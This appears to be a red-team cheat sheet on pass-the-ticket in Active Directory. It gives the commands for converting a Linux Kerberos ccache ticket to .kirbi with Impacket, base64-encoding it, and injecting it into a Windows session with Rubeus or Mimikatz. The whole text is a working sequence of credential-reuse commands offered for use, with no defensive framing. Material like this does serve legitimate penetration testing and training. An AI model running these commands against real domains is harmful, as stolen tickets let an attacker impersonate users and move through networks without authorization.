ccache is the MIT Kerberos credential cache format used on Linux. We convert ccache to .kirbi when we want to move a Linux-obtained ticket into Windows and inject it with Rubeus or Mimikatz.
Convert with Impacket:
ticketConverter.py ticket.ccache ticket.kirbi
Alternative explicit path:
python3 /path/to/impacket/examples/ticketConverter.py ticket.ccache ticket.kirbi
Base64 encode for copy-paste:
base64 -w0 ticket.kirbi > ticket.kirbi.b64
Inject the file with Rubeus:
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist
Inject a base64 blob with Rubeus:
$ticket = Get-Content .\ticket.kirbi.b64 -Raw
.\Rubeus.exe ptt /ticket:$ticket
klist
Inject with Mimikatz:
kerberos::ptt ticket.kirbi
If the ccache contains multiple tickets, check what you are converting first:
export KRB5CCNAME=FILE:$(pwd)/ticket.ccache
klist -e